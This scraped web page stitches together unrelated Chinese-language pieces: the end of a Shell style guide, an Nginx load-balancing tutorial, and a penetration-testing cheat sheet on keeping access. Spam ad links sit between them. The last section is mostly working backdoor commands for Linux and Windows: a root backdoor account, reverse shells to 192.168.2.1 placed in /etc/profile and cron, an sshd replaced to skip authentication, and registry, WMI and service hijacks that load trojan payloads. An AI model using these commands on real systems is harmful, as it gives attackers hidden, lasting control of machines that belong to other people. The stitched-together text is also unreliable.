    # shell specials.
    echo a=$avar "b=$bvar" "PID=${$}" "${1}"
    
    # Confusing use: this is expanded as "${1}0${2}0${3}0",
    # not "${10}${20}${30}
    set -- a b c
    echo "$10$20$30"
    

    特性

    博客:https://www.cnblogs.com/Rohn

    命令替換

    使用 $(command)而不是反引號。

    嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變,而且更易於閱讀。

    例如:

    # This is preferred:
    var="$(command "$(command1)")"
    
    # This is not:
    var="`command \`command1\``"
    

    文件名的通配符擴展

    當進行文件名的通配符擴展時,請使用明確的路徑。

    因為文件名可能以-開頭,所以使用擴展通配符./**來得安全得多。

    # Here's the contents of the directory:
    # -f  -r  somedir  somefile
    
    # This deletes almost everything in the directory by force
    psa@bilby$ rm -v *
    removed directory: `somedir'
    removed `somefile'
    
    # As opposed to:
    psa@bilby$ rm -v ./*
    removed `./-f'
    removed `./-r'
    rm: cannot remove `./somedir': Is a directory
    removed `./somefile'
    

    命名約定

    博客:https://www.cnblogs.com/Rohn

    函數名

    使用小寫字母,並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的,但必須在一個項目中保持一致。

    如果你正在寫單個函數,請用小寫字母來命名,並用下劃線分隔單詞。如果你正在寫一個包,使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行(就像在Google的其他語言一樣),並且函數名和圓括號之間沒有空格。

    # Single function
    my_func() {
      ...
    }
    
    # Part of a package
    mypackage::my_func() {
      ...
    }
    

    當函數名后存在 () 時,關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

    變量名

    使用小寫字母,循環的變量名應該和循環的任何變量同樣命名。例如:

    for zone in ${zones}; do
      something_with "${zone}"
    done
    

    常量和環境變量名

    全部使用大寫字母,用下劃線分隔,聲明在文件的頂部。例如:

    # Constant
    readonly PATH_TO_FILES='/some/path'
    
    # Both constant and environment
    declare -xr ORACLE_SID='PROD'
    

    源文件名

    使用小寫字母,如果需要的話使用下劃線分隔單詞。例如: maketemplate 或者 make_template ,而不是 make-template

    只讀變量

    使用小寫字母,使用 readonly 或者 declare -r 來確保變量只讀。

    因為全局變量在Shell中廣泛使用,所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量,希望其只讀,那麼請明確指出。

    zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
    if [[ -z "${zip_version}" ]]; then
      error_message
    else
      readonly zip_version
    fi
    

    使用本地變量

    使用小寫字母,使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

    使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

    當賦值的值由命令替換提供時,聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

    my_func2() {
      local name="$1"
    
      # Separate lines for declaration and assignment:
      local my_var
      my_var="$(my_func)" || return
    
      # DO NOT do this: $? contains the exit code of 'local', not my_func
      local my_var="$(my_func)"
      [[ $? -eq 0 ]] || return
    
      ...
    }
    

    調用命令

    博客:https://www.cnblogs.com/Rohn

    檢查返回值

    對於非管道命令,使用$?或直接通過一個if語句來檢查以保持其簡潔。例如:

    if ! mv "${file_list}" "${dest_dir}/" ; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    
    # Or
    mv "${file_list}" "${dest_dir}/"
    if [[ "$?" -ne 0 ]]; then
      echo "Unable to move ${file_list} to ${dest_dir}" >&2
      exit "${E_BAD_MOVE}"
    fi
    

    Bash也有 PIPESTATUS 變量,允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗,以下的方法是可以接受的:

    tar -cf - ./* | ( cd "${dir}" && tar -xf - )
    if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
      echo "Unable to tar files to ${dir}" >&2
    fi
    

    可是,只要你運行任何其他命令, PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作,那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量(別忘了 [ 是一個會將 PIPESTATUS 擦除的命令)。

    tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
    return_codes=(${PIPESTATUS[*]})
    if [[ "${return_codes[0]}" -ne 0 ]]; then
      do_something
    fi
    if [[ "${return_codes[1]}" -ne 0 ]]; then
      do_something_else
    fi
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:
    
    1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    2. 掛掉的服務器,怎麼才能不再訪問?
    3. 如何保證負載均衡的高可用性?
    
    等等等等...
    
    讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。
    

    1. 前置概念

    在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

    1. 中間件

    干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

    賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

    經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

    於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

    在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

    2. 正向代理和反向代理

    正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

    反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

    當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

    2. Nginx 的概念

    了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

    Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

    3. 最簡單的 Nginx 使用示例

    本章節項目的代碼:chapter3

    Step 1. 部署多套環境

    我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

    1. pom.xml 中的 artifactId 修改為 chapter3
    2. application.yml 中的 server.port 修改成 8089

    這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

    Step 2. 下載 Nginx

    我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

    下載完成解壓縮,不需要額外的安裝,可以直接使用。

    Step 3. 配置 Nginx

    進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

    1. 在 http 中增加 upstream,並配置兩台環境的地址;
    2. 在 http.server.location 中增加 proxy_pass 的配置;

    http {
        ...
    
        #增加 upstream 的配置,其中 myserver 是自己起的名字
        upstream myserver{
    	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
    	     server 127.0.0.1:8089;
        }
    
        server {
            listen       80;
            server_name  localhost;
    
            #charset koi8-r;
    
            #access_log  logs/host.access.log  main;
    
            location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
            }
    
          }
        }
        ...
    }
    

    完整配置文件請參考:nginx.conf

    Step 4. 啟動 Nginx

    我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

    start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程
    
    nginx.exe -s stop //停止 Nginx
    nginx.exe -s quit //停止 Nginx
    

    Step 5. 測試 Nginx

    讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

    http://127.0.0.1/queryAdmin
    

    注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

    User : Admin
    

    這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

    我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

    4. Nginx 常見的路由策略

    1. 輪詢法

    最簡單的輪詢法,多餘的配置不需要增加。

    upstream myserver{
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    2. 源地址哈希法

    使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

    upstream myserver{
       ip_hash; # hash(IP)
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

    3. 加權輪詢法

    使用 weight 關鍵字,設置每台服務器的權重;

    upstream myserver{
       server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
       server 127.0.0.1:8089 weight=4;
    }
    

    4. 最小連接數法

    根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

    upstream myserver{
       least_conn;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    5. 最快響應速度法

    根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

    upstream myserver{
       fair; # 額外安裝 nginx-upstream-fair 模塊
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    6. URL 哈希算法

    對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

    upstream myserver{
       hash $request_uri;
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

    upstream myserver{
       consistent_hash $request_uri;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    參考資料:Upstream Consistent Hash

    5. Nginx 常用功能

    5.1 請求失敗重試

    當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    

    我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

    1. Nginx 默認有失敗重試機制;
    2. 默認的超時時間為 60s 。

    這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    完整配置文件請參考:設置超時重試時間5秒-nginx.conf

    不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

    5.2 後端服務器節點健康狀態檢查

    如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;
    
    這就叫做“後端服務器節點健康狀態檢查”。
    

    如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

    1. 設置超時時間:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    2. 設置嘗試重試的次數:

    upstream myserver{
      	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
      	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
    }
    

    其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

    完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

    除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

    • nginx_upstream_check_module
    • ngx_http_healthcheck_module

    5.3 Nginx 的高可用

    以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);
    
    但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?
    

    Nginx 同樣也需要部署多台,架構大概是這個樣子的:

    現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

    5.4 其他

    除了以上的常見功能,強大的 Nginx 還可以:

    1. 限制 IP 訪問頻率和帶寬佔用;
    2. 緩存靜態資源;
    3. 文件壓縮;
    4. TCP 負載;
    5. 防盜鏈;
    6. 等等等等…

    總結

    我們現在的架構已經變成了:

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 滲透測試-權限維持

    linux權限維持

    添加賬號

    一般在具有root權限時可以使用以下2種方式添加root權限用戶

    1.通過useradd,後面賬號backdoor/123456

    useradd -u 0 -o -g root -G root backdoor
    
    echo 123456:password|chpasswd
    

    2.通過直接對etc/passwd文件進行寫入

    perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果
    
    # 123456加密后的結果為AASwmzPNx.3sg
    
    echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中
    

    清理以上痕迹

    userdel -f backdoor
    

    設置sid位的文件

    在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

    在高權限時

    cp /bin/bash /tmp/.bash
    
    chmod 4755 /tmp/.bash  #設置suid
    

    使用時帶上-p參數

    /tmp/.bash -p
    

    清理痕迹

    rm -rf /tmp/.bash
    

    通過環境變量植入後門

    以下是環境變量的位置

    /etc/profile
    /etc/profile.d/*.sh
    ~/.bash_profile
    ~/.profile
    ~/.bashrc
    ~/bash_logout
    /etc/bashrc
    /etc/bash.bashrc
    

    寫入shell反彈語句

    echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile
    

    這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

    以下文件需要高權限,為全局變量

    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc
    /etc/bash.bashrc
    

    以下為當前用戶的環境變量

    ~/.bash_profile		#實驗過程中沒有反應
    ~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
    ~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
    ~/bash_logout			#實驗過程中沒有反應
    

    清理痕迹

    刪除配置文件中添加的代碼即可

    寫入ssh公鑰

    首先在本地生成ssh公鑰和私鑰

    在自己的~/.ssh/目錄下執行

    ssh-keygen -t rsa
    

    會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

    id_rsa      id_rsa.pub  known_hosts
    

    xxx為公鑰內容,也就是id_rsa.pub的內容

    echo "xxx" >> ~/.ssh/authorized_keys
    

    清理痕迹

    刪除目標上的 ~/.ssh/authorized_keys即可

    ssh任意密碼登錄

    在root用戶時,suchfnchsh命令不需要輸入密碼認證

    通過軟連接將ssh的服務進行cp,並重命名為以上命令

    ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
    /tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口
    

    連接

    ssh root@host -p 12345
    
    #密碼隨便輸入即可登錄,並且可登錄任意賬號
    

    清理方式

    netstat -antp | gerp -E "su|chfn|chsh"
    #找到進程號xxx
    ps aux | grep xxx
    #找到軟連接位置/aaa/bbb/su
    kill xxx
    rm -rf /aaa/bbb/su
    

    修改sshd文件做到無認證登錄

    建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

    將原先的sshd文件進行轉義

    mv /usr/sbin/sshd /usr/bin/sshd
    

    開始使用perl進行寫腳本

    echo '#!/usr/bin/perl' > /usr/sbin/sshd
    echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd
    

    其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

    其中的LF代表開啟的端口號是19526

    python2
    >> import struct
    >> print struct.pack('>I6',19526) 
    #輸出的內容為 LF
    

    賦予新文件權限並重啟sshd

    chmod u+x sshd
    service sshd restart
    

    連接方式

    socat STDIO TCP4:172.16.177.178:22,bind=:19526
    

    清除痕迹

    #刪除自定義的sshd
    rm -rf /usr/sbin/sshd
    #將同版本的sshd拷貝到對應目錄下
    mv /usr/bin/sshd /usr/sbin/sshd
    

    利用vim可執行python腳本預留後門

    先準備個python的反彈shell腳本

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

    找到提供vim插件的python的擴展包目錄

    vim --version  #查看使用的python版本
    

    找到python的擴展位置

    pip show requests
    

    進入目錄

    cd /usr/lib/python2.7/site-packages
    

    將內容寫入

    echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py
    

    運行,並刪除文件

    $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    

    清除痕迹

    ps aux|grep vim
    #獲取pid
    kill pid
    

    計劃任務

    因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

    這裏藉助python,或者perl都可

    使用python

    echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
    

    使用perl

    echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
    

    清除痕迹

    如果通過crontab -e 不知道為啥會頂掉上一個

    crontab -l			#只看得到一個
    crontab -r			#刪除所有計劃任務
    

    動態加載庫

    使用export LD_PRELOAD=./xx.so

    這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

    這裏使用以下項目

    https://github.com/Screetsec/Vegile
    

    準備2個文件

    • msf的木馬
    • Veglie項目

    使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

    python -m SimpleHTTP
    

    目標服務器上

    wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
    wget http://xxx.xxx.xx.xxx:8000/shell
    

    解壓后運行

    unzip Vegile.zip
    chmod 777 Vegile shell
    ./Vegile --u shell
    

    清理痕迹

    清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

    清理思路掛起父進程,清除所有子進程再刪除父進程

    windows權限維持

    比較常見的windows提取

    ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
    ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
    ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞
    

    計劃任務

    拿到shell后先修改編碼

    chcp 65001
    

    設置計劃任務,每分鐘調用運行一次shell

    schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
    

    清理痕迹

    控制面板->管理工具->任務計劃程序->找到惡意計劃任務
    在 操作 中找到調用的腳本,進行文件刪除
    刪除惡意計劃任務
    

    映像劫持

    在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

    以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
    

    清理痕迹

    HKLM是HKEY_LOCAL_MACHINE

    找到目標的註冊表,將debug內容刪除

    環境變量

    用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

    reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f
    

    清理痕迹

    直接找到 開始->用戶頭像->更改我的環境變量

    進程退出劫持

    在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
    

    清理痕迹

    找到目標的註冊表刪除即可

    AppInit_DLLs注入

    User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

    對HKML註冊表的內容進行修改一般都要system權限

    Windows 10

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    

    其他

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f
    

    這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

    清理痕迹

    到對應註冊表的位置刪除Appinit_Dlls的值

    bits文件傳輸

    通過bitsadmin從網絡上下載的時候可以額外執行腳本

    bitsadmin /create test
    
    隨意下載
    bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 
    
    執行的命令
    bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 
    
    啟動任務
    bitsadmin /resume test
    

    每次開機的時候會觸發

    清理痕迹

    bitsadmin /reset
    

    COM組件劫持

    將腳本放入com組件中

    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f
    
    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
    

    清理痕迹

    刪除註冊表中的路徑值,並通過路徑刪除木馬文件

    替換cmd.exe

    將sethc.exe(按shift 5下)替換成cmd.exe

    takeown /f sethc.* /a /r /d y
    cacls sethc.exe /T /E /G administrators:F
    copy /y cmd.exe sethc.exe
    

    清理痕迹

    找個原版的setch.exe 覆蓋回去

    Winlogon劫持

    winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f
    

    清理痕迹

    刪除註冊表的shell中的值,並且找到後門文件刪除掉

    組策略

    需要能遠程登錄到桌面

    輸入gpedit.msc打開組策略,需要管理員賬號

    在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

    清理痕迹

    打開組策略找到腳本,刪除即可

    修改計算器啟動服務調用的程序

    啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

    類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

    篡改運行腳本
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f
    
    設置自動啟動
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 
    
    啟動服務
    sc start IEEtwCollectorService 
    

    返回的是system權限

    清理痕迹

    將篡改的註冊表改回來,並且刪除目標木馬

    MSDTC 服務

    MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

    清理痕迹

    刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

    啟動項

    啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    
    C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    也會運行以下註冊表中的腳本

    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    
    需要高權限
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

    cmd 啟動劫持

    在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    在管理員權限下刪除註冊表的值即可

    wmic事件

    註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
    wmic 
    /NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 
    
    
    註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
    wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 
    
    綁定事件 過濾器和事件消費者
    wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""
    

